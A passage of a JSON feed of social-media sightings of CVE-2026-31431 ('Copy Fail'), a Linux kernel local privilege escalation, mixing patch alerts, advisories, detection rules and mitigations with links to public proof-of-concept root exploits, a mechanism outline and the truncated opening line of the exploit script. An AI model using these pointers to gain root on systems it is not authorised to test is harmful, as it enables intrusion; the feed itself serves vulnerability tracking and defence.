your Linux distros ASAP.\n\nTL; DR: Easy and portable Linux privilege escalation, a local user is able to become root with very little prerequisites. All major distros affected.\ncopy.fail\nxint.io/blog/copy-fa...\nsecurity-tracker.debian.org/tracker/CVE-...", "creation_timestamp": "2026-04-29T22:08:37.698363Z"}, {"uuid": "b0321749-00f3-4acb-b229-68fcaebcf822", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/what.tf/post/3mko4f5zcjk24", "content": "\ud83d\udea8 CVE-2026-31431 (Copy Fail)\nGo patch all your Linux distros ASAP.\n\nTL; DR: Easy and portable Linux privilege escalation, a local user is able to become root with very little prerequisites. All major distros affected.\ncopy.fail\nxint.io/blog/copy-fa...\nsecurity-tracker.debian.org/tracker/CVE-...", "creation_timestamp": "2026-04-29T22:08:38.219837Z"}, {"uuid": "83440f92-3052-4187-84f6-66780736a681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/what.tf/post/3mko4f5zcjl24", "content": "\ud83d\udea8 CVE-2026-31431 (Copy Fail)\nGo patch all your Linux distros ASAP.\n\nTL; DR: Easy and portable Linux privilege escalation, a local user is able to become root with very little prerequisites. All major distros affected.\ncopy.fail\nxint.io/blog/copy-fa...\nsecurity-tracker.debian.org/tracker/CVE-...", "creation_timestamp": "2026-04-29T22:08:38.748811Z"}, {"uuid": "ebd55174-6e19-429a-98ec-0175b3f6096c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tokifu.jp/post/3mko66w3ifk2t", "content": "Copy Fail aka CVE-2026-31431\u3001\u307e\u3060Omarchy\u3067\u306fKernel\u304c\u964d\u3063\u3066\u3053\u306a\u3044\u307f\u305f\u3044\u3060\u306a\u3002Arch Linux\u5074\u3082\u300c4\u6708\u4e2d\u306eKernel update\u3067\u4fee\u6b63\u3055\u308c\u308b\u4e88\u5b9a\u300d\u3068\u3055\u308c\u3066\u3044\u308b\u304c\u3001\u307e\u3060\u3060\u3063\u305f\u307f\u305f\u3044\u3060\u306a\ud83d\udc40", "creation_timestamp": "2026-04-29T22:40:45.133186Z"}, {"uuid": "f76c4d68-3ebc-4595-940c-5011c14a96ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/obivan/statuses/116490412218240083", "content": "CVE-2026-31431 is a Linux LPE, PoC script roots every distrubution shipped since 2017 https://copy.fail/", "creation_timestamp": "2026-04-29T22:43:51.026882Z"}, {"uuid": "353fc869-1d82-4617-b7c6-74e547a39c8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mko6eh6th3k2", "content": "CVE-2026-31431 is a Linux LPE, PoC script roots every distrubution shipped since 2017 https://copy.fail/", "creation_timestamp": "2026-04-29T22:43:53.685330Z"}, {"uuid": "fec06bab-ebfb-424b-b17b-f8dd5f188833", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/badsectorlabs.com/post/3mko7e2uivk2c", "content": "CopyFail (CVE-2026-31431) in Go. In case you want to get root from a static binary without Python as a dependency.\n\ngithub.com/badsectorlab...", "creation_timestamp": "2026-04-29T23:01:32.409502Z"}, {"uuid": "0a714740-d1c8-4ee3-8532-02e788351aea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3mkoa4rz4pa2s", "content": "The 'Copy Fail' (CVE-2026-31431) Linux root exploit is a deterministic LPE that's been in the kernel for years, but some major distros are downplaying its severity. Learn why this page cache overwrite is a critical threat to your\u2026\n\nhttps://www.tpp.blog/1jvud7s\n\n#opensource #cve202631431 #copyfail", "creation_timestamp": "2026-04-29T23:15:21.638149Z"}, {"uuid": "dd8738d1-2087-42a8-8f3d-24780f9812d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/securestep9.bsky.social/post/3mkoaiwjpj226", "content": "\u26a0\ufe0f #Linux: Major Linux distributions are impacted by a Privilege Escalation Vulnerability dubbed \"CopyFail\" (CVE-2026-31431) which sat undetected since 2017. \nA 732-byte Python script allows any user on Linux to become root:\n#CopyFail\n#LPE\n\ud83d\udc47\nwww.cyberkendra.com/2026/04/a-73...", "creation_timestamp": "2026-04-29T23:22:09.951889Z"}, {"uuid": "9b17677e-e848-4150-8b70-e5f81547fbac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/yukotan.bsky.social/post/3mkoaolbcpc2x", "content": "\u5168\u3066\u306e\u30c7\u30a3\u30b9\u30c8\u30ea\u3067\u5f71\u97ff\u304c\u3042\u308b\u30bc\u30ed\u30c7\u30a4\u306e\u8106\u5f31\u6027\u304c\u898b\u3064\u304b\u3063\u305f\u305d\u3046\u3067\u3059\u3002\u7279\u6a29\u6607\u683c\u304c\u53ef\u80fd\u3067\u3059\u3002\n\nCopy Fail \u2014 CVE-2026-31431 \ncopy.fail", "creation_timestamp": "2026-04-29T23:25:22.929541Z"}, {"uuid": "97dd3a18-81b0-4ea8-958d-06d704874b0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/yukotan.bsky.social/post/3mkoavzl5322x", "content": "\u5404\u30c7\u30a3\u30b9\u30c8\u30ea\u306f\u30d1\u30c3\u30c1\u3092\u6e96\u5099\u4e2d\n\nCVE-2026-31431 | Ubuntu \nubuntu.com/security/CVE...\n\nCVE-2026-31431 - Debian\nsecurity-tracker.debian.org/tracker/CVE-...\n\nCVE-2026-31431 - Red Hat Customer Portal \naccess.redhat.com/security/cve...\n\nCVE-2026-31431 - Amazon Linux\nexplore.alas.aws.amazon.com/CVE-2026-314...", "creation_timestamp": "2026-04-29T23:29:28.568724Z"}, {"uuid": "8e996ec9-950f-489e-8894-1b1c9974ffb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/grenkoca/b82281a4706e936072979acf54b608df", "content": "", "creation_timestamp": "2026-04-29T23:47:58.000000Z"}, {"uuid": "b0af9e93-4459-4225-9081-0ad38968f925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/baldanders.info/post/3mkoc3legu52u", "content": "CVE-2026-31431\nnvd.nist.gov/vuln/detail/CV...\nwww.cve.org/CVERecord?id=CV...\n\n\uff1eAn unprivileged local user can write 4 controlled bytes into the page cache of any readable file on a Linux system, and use that to gain root.\ncopy.fail/", "creation_timestamp": "2026-04-29T23:50:28.497962Z"}, {"uuid": "e5a78f0b-9c46-414b-ac91-375187adc525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mstdn.baldanders.info/post/3mkoc3oq3cgg2", "content": "CVE-2026-31431\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-31431\nhttps://www.cve.org/CVERecord?id=CVE-2026-31431\n\n\uff1eAn unprivileged local user can write 4 controlled bytes into the page cache of any readable file on a Linux system, and use that to gain root.\nhttps://copy.fail/", "creation_timestamp": "2026-04-29T23:50:37.055169Z"}, {"uuid": "40158c23-2cab-42ea-8f4a-8d36ec4d33ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mkodegfob7j2", "content": "Copy Fail (CVE-2026-31431) is a trivially exploitable logic bug in Linux, reachable on all major distros released in the last 9 years. A small, portable python script gets root on all platforms. ht...\n\n#r/sysadmin\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T00:13:26.689117Z"}, {"uuid": "bae00dc9-2593-40cc-ab6f-065aba4e13ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mkoegipxbo2x", "content": "Major Linux distributions are patching a local privilege escalation vulnerability known as Copy Fail (CVE-2026-31431) due to a logic flaw in the kernel.\n", "creation_timestamp": "2026-04-30T00:32:22.453832Z"}, {"uuid": "405df460-e717-4704-b7f6-8a75362d11ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.page/post/3mkoidwytne25", "content": "A critical vulnerability, CVE-2026-31431, has been announced, allowing root access on nearly all major Linux distributions. It presents a significant security risk for systems that users can log onto.", "creation_timestamp": "2026-04-30T01:42:30.850563Z"}, {"uuid": "4fd1a600-e0df-42fc-bb1f-558abed90797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hacker-news-jp.bsky.social/post/3mkoihagbr32i", "content": "\u30b3\u30d4\u30fc\u5931\u6557 \u2013 CVE-2026-31431\nCopy Fail \u2013 CVE-2026-31431\n\n\ud83d\udd3a 571\n\ud83d\udcac 57\n\ud83d\udd17 HN Post | Article", "creation_timestamp": "2026-04-30T01:44:21.810420Z"}, {"uuid": "cdb6c623-195f-4024-8e8a-a467b2ab68db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hacker-news-jp.bsky.social/post/3mkoihiigtm2l", "content": "\ud83d\udca1 Summary: \n\nCopy Fail\u306f\u30012017\u5e74\u4ee5\u964d\u306e\u307b\u307c\u5168\u3066\u306e\u4e3b\u6d41Linux\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u3067\u5171\u901a\u3057\u3066\u5b58\u5728\u3059\u308b\u3001\u6a29\u9650\u306e\u306a\u3044\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304c\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u30784\u30d0\u30a4\u30c8\u3092\u66f8\u304d\u8fbc\u307f\u3001root\u6a29\u9650\u3092\u53d6\u5f97\u3067\u304d\u308b\u76f4\u7dda\u7684\u306aLPE\uff08CVE-2026-31431\uff09\u3067\u3059\u3002\u5f71\u97ff\u306fAF_ALG\u3092\u7d4c\u7531\u3057\u305f\u6697\u53f7\u51e6\u7406\u7d4c\u8def\u306e\u4e0d\u5177\u5408\u3092\u7a81\u304f\u3082\u306e\u3067\u3001\u30d1\u30c3\u30c1\u9069\u7528\u5f8c\u306f\u518d\u73fe\u6027\u304c\u4f4e\u4e0b\u3057\u307e\u3059\u304c\u3001\u672a\u30d1\u30c3\u30c1\u74b0\u5883\u3067\u306f\u30b3\u30f3\u30c6\u30ca\u9593\u306e\u5883\u754c\u3092\u8d8a\u3048\u308b\u5371\u967a\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u5bfe\u7b56\u306f\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u306e\u30ab\u30fc\u30cd\u30eb\u3092\u30d1\u30c3\u30c1\u6e08\u307f\u30d0\u30fc\u30b8\u30e7\u30f3\u3078\u66f4\u65b0\u3059\u308b\u3053\u3068\u3001\u5fc5\u8981\u306b\u5fdc\u3058\u3066AF_ALG\u306e\u7121\u52b9\u5316\u3068\u30bb\u30ad\u30e5\u30a2\u30e2\u30fc\u30c9\u306e\u9069\u7528\u3067\u3059\u3002", "creation_timestamp": "2026-04-30T01:44:29.681560Z"}, {"uuid": "6c3ff9ed-6fef-40b6-aaf0-60aa7f4ff347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116491233168370853", "content": "Some increased actor activities are shown targeting Linux Kernel (CVE-2026-31431) https://vuldb.com/vuln/358784/cti", "creation_timestamp": "2026-04-30T02:12:35.398337Z"}, {"uuid": "307259fc-f3b7-4f23-b613-784c77ef7535", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mkokzbugzf2x", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 53 interactions\nCVE-2026-3854: 48 interactions\nCVE-2026-42208: 22 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 53 interactions\nCVE-2026-3854: 31 interactions\nCVE-2026-5545: 17 interactions\n", "creation_timestamp": "2026-04-30T02:30:14.165185Z"}, {"uuid": "71cd5765-9b29-4b11-8473-f18afb9a892f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/geeknewsbot.bsky.social/post/3mkompcpg7w2l", "content": "Copy Fail \u2013 CVE-2026-31431\n\n\ube44\ud2b9\uad8c \ub85c\uceec \uc0ac\uc6a9\uc790 \uac00 authencesn , AF_ALG , splice() \ub97c \uc5f0\uacb0\ud574 \uc77d\uae30 \uac00\ub2a5\ud55c \ud30c\uc77c\uc758 \ud398\uc774\uc9c0 \uce90\uc2dc 4\ubc14\uc774\ud2b8 \uc4f0\uae30 \ub97c \ub9cc\ub4e4\uace0, \uc774\ub97c \ud1b5\ud574 root \uad8c\ud55c\uae4c\uc9c0 \uc62c\ub9b4 \uc218 \uc788\uc74c \ucee4\ub110\ubcc4 \uc624\ud504\uc14b\uc774\ub098 \ub808\uc774\uc2a4 \uc870\uac74 \uc5c6\uc774 732\ubc14\uc774\ud2b8 Pyt...", "creation_timestamp": "2026-04-30T03:00:27.060755Z"}, {"uuid": "ee52cc81-f15a-42ab-be2a-31b4f641a49e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cyberkendra.com/post/3mkonl22o6k23", "content": "A 732-Byte Python Script Can Get Root on Every Major Linux Distro\nCVE-2026-31431 \"Copy Fail\": a logic bug in the Linux kernel lets any local user get root on Ubuntu, RHEL, Amazon Linux, and SUSE since 2017.\nRead Details- www.cyberkendra.com/2026/04/a-73... \n#linux #ubuntu #copyfail #security", "creation_timestamp": "2026-04-30T03:16:02.215027Z"}, {"uuid": "4fa2a245-3dcc-4d09-8120-ce05269d44b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ArtHarg.mastodon.nl.ap.brid.gy/post/3mkooyorktto2", "content": "RE: https://cloudisland.nz/@sitharus/116490365343384634\n\nThat\u2019s a scary one: https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/", "creation_timestamp": "2026-04-30T03:41:33.420419Z"}, {"uuid": "528ed6fe-a9a4-442c-b603-542324ffbf0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/appinn.bsky.social/post/3mkop76oj7u2y", "content": "\u53ea\u9700\u898110\u884c\u4ee3\u7801\uff0c\u5c31\u80fd\u83b7\u5f97\u81ea2017\u5e74\u81f3\u4eca\u5927\u591a\u6570 Linux \u53d1\u884c\u7248\u672c\u7684 root \u6743\u9650\u3002\u53f2\u79f0 Copy\u00a0Fail\uff0c\u6f0f\u6d1e\u7f16\u53f7 CVE-2026-31431 \u5148\u770b\u63d0\u6743\u6f14\u793a\u89c6\u9891 \u6f14\u793a\u4ee3\u7801 \u4ee3\u7801\u6765\u81ea\u8fd9\u91cc\uff0c\u8bf7\u4ec5\u5728\u81ea\u5df1\u7684\u673a\u5668\u4e0a\u6d4b\u8bd5\u8be5\u6f0f\u6d1e\uff1a #!/usr/bin/env python3 import os as g,zlib,socket", "creation_timestamp": "2026-04-30T03:45:07.175819Z"}, {"uuid": "b7d4e7cc-8532-4e6c-ac84-a66ec64ab912", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/streetcoder.mastodon.social.ap.brid.gy/post/3mkqdlqtppmj2", "content": "@alanxoc3\n\nWTF CVE-2026-31431 #copyfail sounds bad!\n\nAnd there is already a YT video\n\nhttps://www.youtube.com/watch?v=PFLpDc909yY\n\n#securiy", "creation_timestamp": "2026-04-30T19:25:18.745976Z"}, {"uuid": "9549cf8e-aa3b-47ca-a1b3-689b5ffa223c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/noisytoot.berkeley.edu.pl.ap.brid.gy/post/3mkoqdhkokw62", "content": "Want to make your system immune to copyfail (CVE-2026-31431) but compiled your kernel with CONFIG_CRYPTO_USER_API_AEAD=y so you can\u2019t disable the module and don\u2019t want to reboot? Use BPF-LSM to block AF_ALG sockets from being created!\n\n\n    /* SPDX-License-Identifier: GPL-2.0-or-later OR MIT */ [\u2026]", "creation_timestamp": "2026-04-30T04:05:26.578752Z"}, {"uuid": "761032e2-b912-4550-8e0f-b5aaf8e755be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/torrycrass.bsky.social/post/3mkorw3py6s2v", "content": "I haven't been able to test everything (yet), these are some possible detections for #cve-2026-31431 for Wazuh, Auditd and MISP and YARA items.\n\nTesting is needed. Please drop a PR if you have better updates to what's here.\n\ngithub.com/insomnisec/D...\n\n#cyber #linux #lpe #vulnerability #cve", "creation_timestamp": "2026-04-30T04:33:45.707329Z"}, {"uuid": "def1ee7e-dae5-4960-b564-44d740ab19a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mkorw6j4zq2c", "content": "I haven't been able to test everything (yet), these are some possible detections for #cve-2026-31431 for Wazuh, Auditd and MISP and YARA items.\n\nTesting is needed. Please drop a PR if you have better updates to what's here.\n\ngithub.com/insomnisec/D...\n\n#potato #linux #lpe #vulnerability #cve", "creation_timestamp": "2026-04-30T04:33:46.420245Z"}, {"uuid": "37d3a11b-2a74-40cb-8ff9-232a97563dfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkosagsnim24", "content": "Copy Fail: Public PoC and Full Details Disclosed for the 732-Byte Linux Root Exploit (CVE-2026-31431)", "creation_timestamp": "2026-04-30T04:39:31.025179Z"}, {"uuid": "4633af7b-c533-4a68-adc6-2548cbeb259b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mkosyq3jxw2v", "content": "Linux Kernel 0-Day\u300cCopy Fail\u300d\u304c2017\u5e74\u4ee5\u6765\u3001\u4e3b\u8981\u306a\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u5168\u4f53\u3067\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u3092\u53ef\u80fd\u306b\n\n\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7814\u7a76\u8005\u306f\u3001Linux \u30ab\u30fc\u30cd\u30eb\u306e\u91cd\u5927\u306a\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u300cCopy Fail\u300d\uff08CVE-2026-31431\uff09\u3092\u958b\u793a\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u306f\u7279\u6a29\u306e\u306a\u3044\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304c\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u3092\u53d6\u5f97\u3059\u308b\u3053\u3068\u3092\u53ef\u80fd\u306b\u3057\u307e\u3059\u3002 \u308f\u305a\u304b732\u30d0\u30a4\u30c8\u306ePython\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u4f7f\u7528\u3057\u3066\u3001\u653b\u6483\u8005\u306f2017\u5e74\u4ee5\u964d\u306b\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u305f\u4e3b\u8981\u306aLin", "creation_timestamp": "2026-04-30T04:53:05.678659Z"}, {"uuid": "32d31a8c-4330-4207-a27a-aa8e9f2dbcfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/epowo-uzata.mast.qixto.com.ap.brid.gy/post/3mkotgggappl2", "content": "Linux-ytimen virhe mahdollistaa 10-rivisen p\u00e4\u00e4k\u00e4ytt\u00e4j\u00e4n oikeuksien hy\u00f6dynt\u00e4misen Paikallisen oikeuksien eskalointihaavoittuvuus, nimelt\u00e4\u00e4n Copy Fail (CVE-2026-31431)\n\nhttps://www.theregister.com/2026/04/30/linux_cryptographic_code_flaw/", "creation_timestamp": "2026-04-30T05:01:53.898893Z"}, {"uuid": "7fe92ba3-8f07-4a4b-a72f-d70d35773196", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mkovsybku62y", "content": "Linux Kernel \u201cCopy Fail\u201d Zero-Day Exposes Millions of Systems to Instant Root\u00a0Access\n\nIntroduction A newly disclosed Linux kernel vulnerability is raising serious alarms across the cybersecurity world. Tracked as CVE-2026-31431 and nicknamed Copy Fail, the flaw allows any unprivileged local user to\u2026", "creation_timestamp": "2026-04-30T05:43:34.505561Z"}, {"uuid": "2796648a-26cd-49d1-b145-6407bf23a5e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/aprosdoketon.bsky.social/post/3mkozudv6u226", "content": "CVE-2026-31431 \u043f\u0456\u0434\u0432\u0438\u0449\u0435\u043d\u043d\u044f \u043f\u0440\u0438\u0432\u0456\u043b\u0435\u0457\u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0443 \u043b\u0456\u043d\u0443\u043a\u0441\u0456, \u0437 2017-\u0433\u043e \u0440\u043e\u043a\u0443 \u0434\u043e \u0441\u044c\u043e\u0433\u043e\u0434\u043d\u0456", "creation_timestamp": "2026-04-30T06:55:54.503883Z"}, {"uuid": "62994e63-2259-4908-8f71-f813c137814e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/isAutonomous.karlsruhe-social.de.ap.brid.gy/post/3mkp2l43g5q72", "content": "@giggls Verdammt, ja. Das ist die richtige ID:\nhttps://euvd.enisa.europa.eu/vulnerability/CVE-2026-31431\n\nDie Bezeichnungen bei den Europ\u00e4ern sind irritierend. Warum m\u00fcssen die eigene Nummern vergeben?\n\"EUVD-2026-24639\"", "creation_timestamp": "2026-04-30T07:08:39.517074Z"}, {"uuid": "d82099a4-83ae-4417-8cdf-1a3fda3addb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/adriend.linuxtricks.fr/post/3mkp2kqi6ts2y", "content": "Au boulot, exploit impossible, l'EDR g\u00e8re le truc.\nOUF ! \n\nsuccessfully killed the threat copy_fail_exp.py on Thu, 30 Apr 2026, 06:40:56 UTC.\nThreat path: /home/test/copy-fail-CVE-2026-31431/copy_fail_exp.py", "creation_timestamp": "2026-04-30T07:08:57.627559Z"}, {"uuid": "5f370959-431e-4dee-9a86-55ac07b0beb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mkp35z5p4l2l", "content": "\u300cCopy Fail\u300dCVE-2026-31431 \u2014 9\u5e74\u9593\u6f5c\u3093\u3067\u3044\u305f732\u30d0\u30a4\u30c8Python\u3067Linux\u304croot\u5316\u3055\u308c\u308b\u8106\u5f31\u6027\u3068\u5bfe\u7b56\uff5czephel01\nhttps://note.com/zephel01/n/n7fa6564b43cf", "creation_timestamp": "2026-04-30T07:19:13.256066Z"}, {"uuid": "a38f084c-b0e8-4af8-9434-15baed1c10bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/cert_eu/statuses/116492956743147474", "content": "High Vulnerability in the Linux Kernel (\"Copy Fail\") (CERT-EU Security Advisory 2026-005)\nOn 29 April 2026, a high local privilege escalation vulnerability in the Linux kernel, tracked as CVE-2026-31431 and named \"Copy Fail\", was publicly disclosed.\nThe vulnerability affects every mainstream Linux distributions shipping a kernel built since 2017. A public proof-of-concept exploit has been released.As of the date of this advisory, no distribution has shipped a fixed kernel package. The mainline fix was committed on 1 April 2026, but vendor updates are still pending across all major distributions. \nCERT-EU strongly recommends applying the interim mitigation immediately, prioritising Kubernetes nodes, and CI/CD runners exposed to untrusted workloads.\nhttps://www.cert.europa.eu/publications/security-advisories/2026-005/", "creation_timestamp": "2026-04-30T09:30:55.246235Z"}, {"uuid": "256a183d-3053-4c12-9052-bfb3a9dadd2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mkpcnuzk3e2q", "content": "A local privilege escalation vulnerability in the Linux kernel, dubbed Copy Fail (CVE-2026-31431), allows unprivileged users to gain root access by modifying the page cache of readable files. This flaw affects major Linux distributions, including Debian, Ubuntu, and SUSE, which have issued patches.", "creation_timestamp": "2026-04-30T09:33:22.106362Z"}, {"uuid": "858d1fb3-37e2-47fc-9fb9-a3d9df425934", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": 